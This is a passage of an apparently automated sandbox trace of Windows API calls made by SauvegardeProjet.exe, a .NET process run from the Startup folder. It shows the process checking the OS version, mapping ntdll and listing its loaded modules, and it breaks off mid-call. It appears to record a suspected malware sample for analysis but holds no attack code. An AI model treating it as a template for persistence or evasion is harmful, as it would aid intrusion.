lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0231.364] CoTaskMemFree (pv=0x6681b48) [0231.364] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0231.364] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77ae0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0231.365] CoTaskMemFree (pv=0x6681b48) [0231.365] CloseHandle (hObject=0x284) returned 1 [0232.461] RtlGetVersion (in: lpVersionInformation=0x540ba90 | out: lpVersionInformation=0x540ba90*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0232.488] RtlGetVersion (in: lpVersionInformation=0x540ba90 | out: lpVersionInformation=0x540ba90*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0232.772] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77540000 [0232.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="IsWow64Process", cchWideChar=14, lpMultiByteStr=0x540d16c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IsWow64Processst*îb(\x94ÂôrèÔ@\x05ÀÆX", lpUsedDefaultChar=0x0) returned 14 [0232.772] GetProcAddress (hModule=0x77540000, lpProcName="IsWow64Process") returned 0x7755195e [0232.772] GetCurrentProcess () returned 0xffffffff [0232.772] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x540d1cc | out: Wow64Process=0x540d1cc) returned 1 [0232.804] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0x667b2c8 [0232.804] CoTaskMemAlloc (cb=0x2e) returned 0x5fd428 [0232.955] NtOpenSection (in: SectionHandle=0x540d5a4, DesiredAccess=0xc, ObjectAttributes=0x540d588*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x540d5a4*=0x284) returned 0x0 [0233.107] NtMapViewOfSection (in: SectionHandle=0x284, ProcessHandle=0xffffffff, BaseAddress=0x540d59c*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x540d58c*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x540d59c*=0x50d0000, SectionOffset=0x0, ViewSize=0x540d58c*=0x180000) returned 0x40000003 [0235.931] GetCurrentProcessId () returned 0x55c [0235.931] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x288 [0235.931] EnumProcessModules (in: hProcess=0x288, lphModule=0x26502b4, cb=0x100, lpcbNeeded=0x540d1c0 | out: lphModule=0x26502b4, lpcbNeeded=0x540d1c0) returned 1 [0235.932] GetModuleInformation (in: hProcess=0x288, hModule=0xfe0000, lpmodinfo=0x26503f4, cb=0xc | out: lpmodinfo=0x26503f4*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0235.932] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.932] GetModuleBaseNameW (in: hProcess=0x288, hModule=0xfe0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0235.932] CoTaskMemFree (pv=0x6682db0) [0235.932] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.932] GetModuleFileNameExW (in: hProcess=0x288, hModule=0xfe0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0235.932] CoTaskMemFree (pv=0x6682db0) [0235.932] GetModuleInformation (in: hProcess=0x288, hModule=0x77b10000, lpmodinfo=0x2652594, cb=0xc | out: lpmodinfo=0x2652594*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0235.932] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.932] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77b10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0235.932] CoTaskMemFree (pv=0x6682db0) [0235.932] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.932] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77b10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0235.933] CoTaskMemFree (pv=0x6682db0) [0235.933] GetModuleInformation (in: hProcess=0x288, hModule=0x736a0000, lpmodinfo=0x2654698, cb=0xc | out: lpmodinfo=0x2654698*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0235.933] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.933] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x736a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0235.933] CoTaskMemFree (pv=0x6682db0) [0235.933] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.933] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x736a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0235.933] CoTaskMemFree (pv=0x6682db0) [0235.933] GetModuleInformation (in: hProcess=0x288, hModule=0x77540000, lpmodinfo=0x26567a4, cb=0xc | out: lpmodinfo=0x26567a4*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0235.933] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.933] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0235.934] CoTaskMemFree (pv=0x6682db0) [0235.934] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.934] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0235.934] CoTaskMemFree (pv=0x6682db0) [0235.934] GetModuleInformation (in: hProcess=0x288, hModule=0x75990000, lpmodinfo=0x26588b8, cb=0xc | out: lpmodinfo=0x26588b8*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0235.934] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.934] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75990000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0235.934] CoTaskMemFree (pv=0x6682db0) [0235.934] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.934] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75990000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0235.934] CoTaskMemFree (pv=0x6682db0) [0235.934] GetModuleInformation (in: hProcess=0x288, hModule=0x773f0000, lpmodinfo=0x265aa00, cb=0xc | out: lpmodinfo=0x265aa00*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0235.935] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.935] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x773f0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0235.935] CoTaskMemFree (pv=0x6682db0) [0235.935] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.935] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x773f0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0235.935] CoTaskMemFree (pv=0x6682db0) [0235.935] GetModuleInformation (in: hProcess=0x288, hModule=0x77490000, lpmodinfo=0x265cb14, cb=0xc | out: lpmodinfo=0x265cb14*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0235.935] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.935] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77490000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0235.936] CoTaskMemFree (pv=0x6682db0) [0235.936] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.936] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77490000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0235.936] CoTaskMemFree (pv=0x6682db0) [0235.936] GetModuleInformation (in: hProcess=0x288, hModule=0x75f70000, lpmodinfo=0x265ec20, cb=0xc | out: lpmodinfo=0x265ec20*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0235.936] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.936] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75f70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0235.937] CoTaskMemFree (pv=0x6682db0) [0235.937] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.937] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75f70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0235.937] CoTaskMemFree (pv=0x6682db0) [0235.937] GetModuleInformation (in: hProcess=0x288, hModule=0x758a0000, lpmodinfo=0x2660d2c, cb=0xc | out: lpmodinfo=0x2660d2c*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0235.937] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.937] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x758a0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0235.937] CoTaskMemFree (pv=0x6682db0) [0235.937] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.937] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x758a0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0235.938] CoTaskMemFree (pv=0x6682db0) [0235.938] GetModuleInformation (in: hProcess=0x288, hModule=0x75670000, lpmodinfo=0x2662e84, cb=0xc | out: lpmodinfo=0x2662e84*(lpBaseOfDll=0x75670000, SizeOfImage=0x60000, EntryPoint=0x7568a3b3)) returned 1 [0235.938] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.938] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75670000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0235.938] CoTaskMemFree (pv=0x6682db0) [0235.938] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.938] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75670000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0235.938] CoTaskMemFree (pv=0x6682db0) [0235.938] GetModuleInformation (in: hProcess=0x288, hModule=0x75660000, lpmodinfo=0x2664f90, cb=0xc | out: lpmodinfo=0x2664f90*(lpBaseOfDll=0x75660000, SizeOfImage=0xc000, EntryPoint=0x756610e1)) returned 1 [0235.939] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.939] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75660000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0235.939] CoTaskMemFree (pv=0x6682db0) [0235.939] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.939] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75660000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0235.939] CoTaskMemFree (pv=0x6682db0) [0235.939] GetModuleInformation (in: hProcess=0x288, hModule=0x73620000, lpmodinfo=0x26670a4, cb=0xc | out: lpmodinfo=0x26670a4*(lpBaseOfDll=0x73620000, SizeOfImage=0x78000, EntryPoint=0x7362f7ba)) returned 1 [0235.940] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.940] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73620000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0235.940] CoTaskMemFree (pv=0x6682db0) [0235.940] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.940] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73620000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0235.940] CoTaskMemFree (pv=0x6682db0) [0235.940] GetModuleInformation (in: hProcess=0x288, hModule=0x75db0000, lpmodinfo=0x26691ec, cb=0xc | out: lpmodinfo=0x26691ec*(lpBaseOfDll=0x75db0000, SizeOfImage=0x57000, EntryPoint=0x75dc9ba6)) returned 1 [0235.941] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.941] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75db0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0235.941] CoTaskMemFree (pv=0x6682db0) [0235.941] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.941] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75db0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0235.941] CoTaskMemFree (pv=0x6682db0) [0235.941] GetModuleInformation (in: hProcess=0x288, hModule=0x75810000, lpmodinfo=0x266b2f8, cb=0xc | out: lpmodinfo=0x266b2f8*(lpBaseOfDll=0x75810000, SizeOfImage=0x90000, EntryPoint=0x75826343)) returned 1 [0235.941] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.942] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75810000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0235.942] CoTaskMemFree (pv=0x6682db0) [0235.942] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.942] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75810000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0235.942] CoTaskMemFree (pv=0x6682db0) [0235.942] GetModuleInformation (in: hProcess=0x288, hModule=0x75e10000, lpmodinfo=0x266d3fc, cb=0xc | out: lpmodinfo=0x266d3fc*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0235.943] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.943] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75e10000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0235.943] CoTaskMemFree (pv=0x6682db0) [0235.943] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.943] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75e10000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0235.943] CoTaskMemFree (pv=0x6682db0) [0235.943] GetModuleInformation (in: hProcess=0x288, hModule=0x772c0000, lpmodinfo=0x266f508, cb=0xc | out: lpmodinfo=0x266f508*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0235.944] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.944] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x772c0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0235.944] CoTaskMemFree (pv=0x6682db0) [0235.944] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.944] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x772c0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0235.944] CoTaskMemFree (pv=0x6682db0) [0235.944] GetModuleInformation (in: hProcess=0x288, hModule=0x75a30000, lpmodinfo=0x2671604, cb=0xc | out: lpmodinfo=0x2671604*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0235.945] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.945] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75a30000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0235.945] CoTaskMemFree (pv=0x6682db0) [0235.945] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.945] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75a30000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0235.946] CoTaskMemFree (pv=0x6682db0) [0235.946] GetModuleInformation (in: hProcess=0x288, hModule=0x75ae0000, lpmodinfo=0x2673794, cb=0xc | out: lpmodinfo=0x2673794*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0235.946] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.946] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75ae0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0235.946] CoTaskMemFree (pv=0x6682db0) [0235.946] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.946] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75ae0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0235.947] CoTaskMemFree (pv=0x6682db0) [0235.947] GetModuleInformation (in: hProcess=0x288, hModule=0x75be0000, lpmodinfo=0x2675898, cb=0xc | out: lpmodinfo=0x2675898*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0235.947] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.947] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75be0000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0235.948] CoTaskMemFree (pv=0x6682db0) [0235.948] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.948] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75be0000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0235.948] CoTaskMemFree (pv=0x6682db0) [0235.948] GetModuleInformation (in: hProcess=0x288, hModule=0x73610000, lpmodinfo=0x267799c, cb=0xc | out: lpmodinfo=0x267799c*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0235.948] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.948] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73610000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0235.949] CoTaskMemFree (pv=0x6682db0) [0235.949] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.949] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73610000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0235.949] CoTaskMemFree (pv=0x6682db0) [0235.949] GetModuleInformation (in: hProcess=0x288, hModule=0x72f40000, lpmodinfo=0x2679aa8, cb=0xc | out: lpmodinfo=0x2679aa8*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0235.950] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.950] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72f40000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0235.950] CoTaskMemFree (pv=0x6682db0) [0235.950] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.950] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72f40000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0235.950] CoTaskMemFree (pv=0x6682db0) [0235.950] GetModuleInformation (in: hProcess=0x288, hModule=0x75540000, lpmodinfo=0x267bbd8, cb=0xc | out: lpmodinfo=0x267bbd8*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0235.951] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.951] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x75540000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0235.951] CoTaskMemFree (pv=0x6682db0) [0235.951] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.951] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x75540000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0235.952] CoTaskMemFree (pv=0x6682db0) [0235.952] GetModuleInformation (in: hProcess=0x288, hModule=0x74310000, lpmodinfo=0x267dd0c, cb=0xc | out: lpmodinfo=0x267dd0c*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0235.952] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.952] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x74310000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0235.953] CoTaskMemFree (pv=0x6682db0) [0235.953] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.953] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x74310000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0235.953] CoTaskMemFree (pv=0x6682db0) [0235.953] GetModuleInformation (in: hProcess=0x288, hModule=0x77060000, lpmodinfo=0x267feb4, cb=0xc | out: lpmodinfo=0x267feb4*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0235.954] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.954] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x77060000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0235.954] CoTaskMemFree (pv=0x6682db0) [0235.954] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.954] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x77060000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0235.955] CoTaskMemFree (pv=0x6682db0) [0235.955] GetModuleInformation (in: hProcess=0x288, hModule=0x73e60000, lpmodinfo=0x2681fb8, cb=0xc | out: lpmodinfo=0x2681fb8*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0235.955] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.955] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73e60000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0235.956] CoTaskMemFree (pv=0x6682db0) [0235.956] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.956] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73e60000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0235.956] CoTaskMemFree (pv=0x6682db0) [0235.956] GetModuleInformation (in: hProcess=0x288, hModule=0x72590000, lpmodinfo=0x26840c4, cb=0xc | out: lpmodinfo=0x26840c4*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0235.957] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.957] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x72590000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0235.957] CoTaskMemFree (pv=0x6682db0) [0235.957] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.957] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x72590000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0235.958] CoTaskMemFree (pv=0x6682db0) [0235.958] GetModuleInformation (in: hProcess=0x288, hModule=0x71e70000, lpmodinfo=0x2686260, cb=0xc | out: lpmodinfo=0x2686260*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0235.958] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.958] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x71e70000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0235.959] CoTaskMemFree (pv=0x6682db0) [0235.959] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.959] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x71e70000, lpFilename=0x6682db0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0235.960] CoTaskMemFree (pv=0x6682db0) [0235.960] GetModuleInformation (in: hProcess=0x288, hModule=0x73c90000, lpmodinfo=0x268841c, cb=0xc | out: lpmodinfo=0x268841c*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0235.960] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.960] GetModuleBaseNameW (in: hProcess=0x288, hModule=0x73c90000, lpBaseName=0x6682db0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0235.961] CoTaskMemFree (pv=0x6682db0) [0235.961] CoTaskMemAlloc (cb=0x804) returned 0x6682db0 [0235.961] GetModuleFileNameExW (in: hProcess=0x288, hModule=0x73c90000, lpFilename=0x6682db0, nSize=0x800 | out: 